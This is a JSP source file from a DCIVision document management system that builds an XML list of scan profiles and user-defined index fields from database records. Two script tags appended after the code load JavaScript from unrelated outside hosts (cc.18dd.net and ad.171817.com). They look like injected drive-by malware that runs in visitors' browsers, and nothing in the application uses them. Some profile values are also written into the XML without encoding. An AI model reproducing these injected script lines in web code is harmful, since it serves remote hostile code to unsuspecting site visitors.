<%
/*
 * @(#)ParaScanGetProfileUpdate.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ParaScanGetProfileUpdate.jsp

  This is a ParaScanGetProfileUpdate page.  It shows the System User Defined Index in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      24/02/2003
    @version            $Revision: 1.25.4.1 $
*/

%><%@ page contentType="text/xml;charset=UTF-8"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><%@ taglib uri="/tags/layout" prefix="layout"
%><%@ page import="java.util.ArrayList"
%><%@ page import="java.util.List"
%><%@ page import="java.util.Locale"
%><%@ page import="java.sql.*"
%><%@ page import="com.dcivision.dms.client.parser.*"
%><%@ page import="java.io.*"
%><%@ page import="javax.xml.transform.*"
%><%@ page import="org.xml.sax.*"
%><%@ page import="com.dcivision.dms.dao.*"
%><%@ page import="com.dcivision.dms.bean.*"
%><%@ page import="com.dcivision.dms.core.*"
%><%@ page import="javax.xml.transform.sax.*"
%><%@ page import="javax.xml.transform.stream.*"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.bean.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
  Connection conn = DataSourceFactory.getConnection();
  List sysUserDefinedIndexList=new ArrayList();
  SysUserDefinedIndexDAObject sysUserDefinedIndexDAO=new SysUserDefinedIndexDAObject(sessionContainer,conn);

  SysUserDefinedIndexDetailDAObject UserDefinedIndexDetailDAO = new SysUserDefinedIndexDetailDAObject(sessionContainer,conn);

  String ID=request.getParameter("documentID");
  Integer documentID=TextUtility.parseIntegerObj(ID);
  List userDefineIDList=new ArrayList();
  List userDefineList=new ArrayList();
  if(!Utility.isEmpty(documentID)){
    List documentDetailList=new ArrayList();
    DmsDocumentDetailDAObject dmsDocumentDetailDAO=new DmsDocumentDetailDAObject(sessionContainer,conn);
    documentDetailList=dmsDocumentDetailDAO.getListByDocumentID(documentID);
    java.util.Hashtable hst=new java.util.Hashtable();
    for(int i=0;i<documentDetailList.size();i++){
      Integer userDefineID=((DmsDocumentDetail)documentDetailList.get(i)).getUserDefinedFieldID();
      hst.put(userDefineID,userDefineID);
    }
    if(hst.size()>0){
      java.util.Enumeration e = hst.elements();
      int j = 0;
      userDefineIDList.add(0,(Integer)e.nextElement());
      while (e.hasMoreElements()) {
        j++;
        userDefineIDList.add(j,e.nextElement());
      }
    }
  }else{
    sysUserDefinedIndexList=sysUserDefinedIndexDAO.getFullList();
    if(!Utility.isEmpty(sysUserDefinedIndexList)){
      for(int i=0;i<sysUserDefinedIndexList.size();i++){
        Integer defineID=((SysUserDefinedIndex)sysUserDefinedIndexList.get(i)).getID();
        userDefineIDList.add(defineID);
      }
    }
  }
  List userDetailList=new ArrayList();
  List defaultProfileList=new ArrayList();
  DmsDefaultProfileSettingDAObject dmsDefaultProfileSettingDAO=new DmsDefaultProfileSettingDAObject(sessionContainer,conn);
  defaultProfileList=dmsDefaultProfileSettingDAO.getFullList();
  int defaultProfileID=0;
  int numOfFields = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT).intValue();
  String url=SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL);
  SysFunctionDAObject sysFunctionDAO=new SysFunctionDAObject(sessionContainer,conn);
  SysFunction sysFunction = null;
  try {
    sysFunction = (SysFunction)sysFunctionDAO.getByFunctionCode(SystemFunctionConstant.DMS_EMPTY_FILE);
  } catch (ApplicationException appEx) {
    sysFunction = new SysFunction();
  }
  try {
     out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
     out.println("<file_list>");
     
     /* Get Update index Date*/
     out.println("<last_update_date>");


       java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss") ;
      Timestamp maxUpdateTimestamp = null;
      DocumentRetrievalManager dmsRetrievalManager = new DocumentRetrievalManager(null,conn);
      maxUpdateTimestamp = dmsRetrievalManager.getAllProfileTheMaxUpdateDate();
	  if(maxUpdateTimestamp == null){
         out.println(sdf.format(Utility.getCurrentTimestamp()));
	  }else{
		 out.println(sdf.format(maxUpdateTimestamp));
	  }
	  
/*
     if((sysUserDefinedIndexDAO.getMaxUpdateDate()!=null) && (UserDefinedIndexDetailDAO.getMaxUpdateDate()!=null)){

      
       if(sysUserDefinedIndexDAO.getMaxUpdateDate().getTime()>UserDefinedIndexDetailDAO.getMaxUpdateDate().getTime()){
         out.println(sdf.format(sysUserDefinedIndexDAO.getMaxUpdateDate()));
       }else{
         out.println(sdf.format(UserDefinedIndexDetailDAO.getMaxUpdateDate()));
       }
     }
*/
     out.println("</last_update_date>");
     
     /* Start Workflow Profile */
     out.println("<profile id=\"-1\">");
     out.println("<profile_name>Workflow</profile_name>");
     out.println("<parent_id></parent_id>");
     out.println("<description></description>");
     out.println("<gen_key_template></gen_key_template>");
     out.println("<gen_num_max></gen_num_max>");
     out.println("<create_date></create_date>");
     out.println("<update_date></update_date>");

     out.println("<profile_details>");
     out.println("<define_index id=\"1\">");
     out.println("<field_name>Flow</field_name>");
     out.println("<field_type>URL</field_type>");
     out.println("<field_url>"+url+"/jsp/scan/ParaScanGetWorkflow.jsp</field_url>");
     out.println("<mandatory>N</mandatory>");
     out.println("<default>7. GRI00002(1)</default>");
     out.println("<validation_rule></validation_rule>");
     out.println("</define_index>");

     out.println("</profile_details>");
     out.println("</profile>");
     /* End of Common Profile */

     /* Start of Common Porfile */
     out.println("<profile id=\"-2\">");
     out.println("<profile_name>=== Check-in Document ===</profile_name>");
     out.println("<parent_id></parent_id>");
     out.println("<description></description>");
     out.println("<gen_key_template></gen_key_template>");
     out.println("<gen_num_max></gen_num_max>");
     out.println("<create_date></create_date>");
     out.println("<update_date></update_date>");

     out.println("<profile_details>");
     out.println("<define_index id=\"1\">");
     out.println("<field_name>Document</field_name>");
     out.println("<field_type>URL</field_type>");
     out.println("<field_url>"+url+"/jsp/scan/ParaScanGetCheckoutList.jsp</field_url>");
     out.println("<mandatory>N</mandatory>");
     out.println("<default></default>");
     out.println("<validation_rule></validation_rule>");
     out.println("</define_index>");

     out.println("</profile_details>");
     out.println("</profile>");
     /* End of Common Profile */

     /* Start of Common Porfile */
     if(GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus())){
       out.println("<profile id=\"-3\">");
       out.println("<profile_name>=== Check-in Reference File ===</profile_name>");
       out.println("<parent_id></parent_id>");
       out.println("<description></description>");
       out.println("<gen_key_template></gen_key_template>");
       out.println("<gen_num_max></gen_num_max>");
       out.println("<create_date></create_date>");
       out.println("<update_date></update_date>");

       out.println("<profile_details>");
       out.println("<define_index id=\"1\">");
       out.println("<field_name>Document</field_name>");
       out.println("<field_type>URL</field_type>");
       out.println("<field_url>"+url+"/jsp/scan/ParaScanGetReferenceList.jsp</field_url>");
       out.println("<mandatory>N</mandatory>");
       out.println("<default></default>");
       out.println("<validation_rule></validation_rule>");
       out.println("</define_index>");

       out.println("</profile_details>");
       out.println("</profile>");
     }
     /* End of Common Profile */

     /* Start Common Profile */
     out.println("<profile id=\"0\">");
     out.println("<profile_name>Common</profile_name>");
     out.println("<parent_id></parent_id>");
     out.println("<description></description>");
     out.println("<gen_key_template></gen_key_template>");
     out.println("<gen_num_max></gen_num_max>");
     out.println("<create_date></create_date>");
     out.println("<update_date></update_date>");

     out.println("<profile_details>");
     out.println("<define_index id=\"-1\">");
     out.println("<field_name>Reference No</field_name>");
     out.println("<field_type>S</field_type>");
     out.println("<mandatory>N</mandatory>");
     out.println("<default></default>");
     out.println("<validation_rule></validation_rule>");
     out.println("</define_index>");

     out.println("<define_index id=\"-2\">");
     out.println("<field_name>Description</field_name>");
     out.println("<field_type>S</field_type>");
     out.println("<mandatory>N</mandatory>");
     out.println("<default></default>");
     out.println("<validation_rule></validation_rule>");
     out.println("</define_index>");

     for(int m=0;m<numOfFields;m++){
       DmsDefaultProfileSetting dmsDefaultProfileSetting=(DmsDefaultProfileSetting)defaultProfileList.get(m);
       defaultProfileID=dmsDefaultProfileSetting.getID().intValue()+2;
       out.println("<define_index id=\"-"+defaultProfileID+"\">");
       out.println("<field_name>"+dmsDefaultProfileSetting.getFieldName()+"</field_name>");
       out.println("<field_type>"+dmsDefaultProfileSetting.getFieldType()+"</field_type>");
       if(DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(dmsDefaultProfileSetting.getFieldType()) || DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(dmsDefaultProfileSetting.getFieldType())){
         String[] tmpAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, conn).getDefaultOptionStringArray(dmsDefaultProfileSetting);
         out.println("<field_list>");
         for(int k=0;k<tmpAry.length;k++){
           out.println("<field_data value=\""+tmpAry[k]+"\">"+tmpAry[k]+"</field_data>");
         }
         out.println("</field_list>");
       }
       out.println("<mandatory>"+dmsDefaultProfileSetting.getMandatoryFlag()+"</mandatory>");
       String defaultValue = dmsDefaultProfileSetting.getDefaultValue();
       out.println("<default>");       
       if(!Utility.isEmpty(defaultValue)){
         out.println(defaultValue);       
       }
       out.println("</default>");              
       out.println("<validation_rule></validation_rule>");
       out.println("</define_index>");
     }

     out.println("</profile_details>");
     out.println("</profile>");
     /* End of Common Profile */

    /* Start UDF Profile(s) */
     if(!Utility.isEmpty(userDefineIDList)){
       for (int i = 0; i < userDefineIDList.size(); i++) {
         Integer udfID=(Integer)userDefineIDList.get(i);
         SysUserDefinedIndex sysUserDefinedIndex=(SysUserDefinedIndex)sysUserDefinedIndexDAO.getObjectByID(udfID);
         if(!Utility.isEmpty(sysUserDefinedIndex)){
           userDetailList = UserDefinedIndexDetailDAO.getListBySysUserDefinedIndexID(sysUserDefinedIndex.getID());

           out.println("<profile id=\"" + sysUserDefinedIndex.getID() + "\">");
           out.println("<profile_name>" + TextUtility.htmlEncode(sysUserDefinedIndex.getUserDefinedType()) + "</profile_name>");
           out.println("<parent_id>" + TextUtility.formatIntegerObj(sysUserDefinedIndex.getParentID()) + "</parent_id>");
           out.println("<description>" + TextUtility.htmlEncode(sysUserDefinedIndex.getDescription()) + "</description>");
           out.println("<gen_key_template>" + sysUserDefinedIndex.getGenKeyTemplate() + "</gen_key_template>");
           out.println("<gen_num_max>" + sysUserDefinedIndex.getGenKeyNumMax() + "</gen_num_max>");
           out.println("<create_date>" + TextUtility.formatDate(sysUserDefinedIndex.getCreateDate(), "yyyy-MM-dd hh:mm:ss") + "</create_date>");
           out.println("<update_date>" + TextUtility.formatDate(sysUserDefinedIndex.getUpdateDate(), "yyyy-MM-dd hh:mm:ss") + "</update_date>");

           out.println("<profile_details>");

           if(!Utility.isEmpty(userDetailList)){
             for (int j = 0; j < userDetailList.size(); j++) {
               SysUserDefinedIndexDetail userDetail = (SysUserDefinedIndexDetail)userDetailList.get(j);
//               if (userDetail.getFieldType() != null) {
                 out.println("<define_index id=\""+userDetail.getID()+"\">");

                 out.println("<field_name>"+TextUtility.htmlEncode(userDetail.getFieldName())+"</field_name>");
                 if (userDetail.getFieldType() != null && userDetail.getFieldType().startsWith("CUST")) {
                   out.println("<field_type>S</field_type>");
                 } else {
                   out.println("<field_type>"+TextUtility.noNull(userDetail.getFieldType())+"</field_type>");
                 }
                 if(SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(userDetail.getFieldType())){
                   if(!Utility.isEmpty(userDetail.getFieldValue())){
                     String[] fieldValue=TextUtility.splitString(userDetail.getFieldValue(),";");
                     out.println("<field_list>");
                     for(int k=0;k<fieldValue.length;k++){
                       out.println("<field_data value=\""+TextUtility.htmlEncode(fieldValue[k])+"\">"+TextUtility.htmlEncode(fieldValue[k])+"</field_data>");
                     }
                     out.println("</field_list>");
                   }
                 }
                 out.println("<mandatory>"+userDetail.getMandatory()+"</mandatory>");
                 out.println("<default></default>");
                 out.println("<validation_rule></validation_rule>");
                 out.println("</define_index>");
//               }
             }
           }
           out.println("</profile_details>");
           out.println("</profile>");
         }
       }
     }
     out.println("</file_list>");
  } catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
  }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>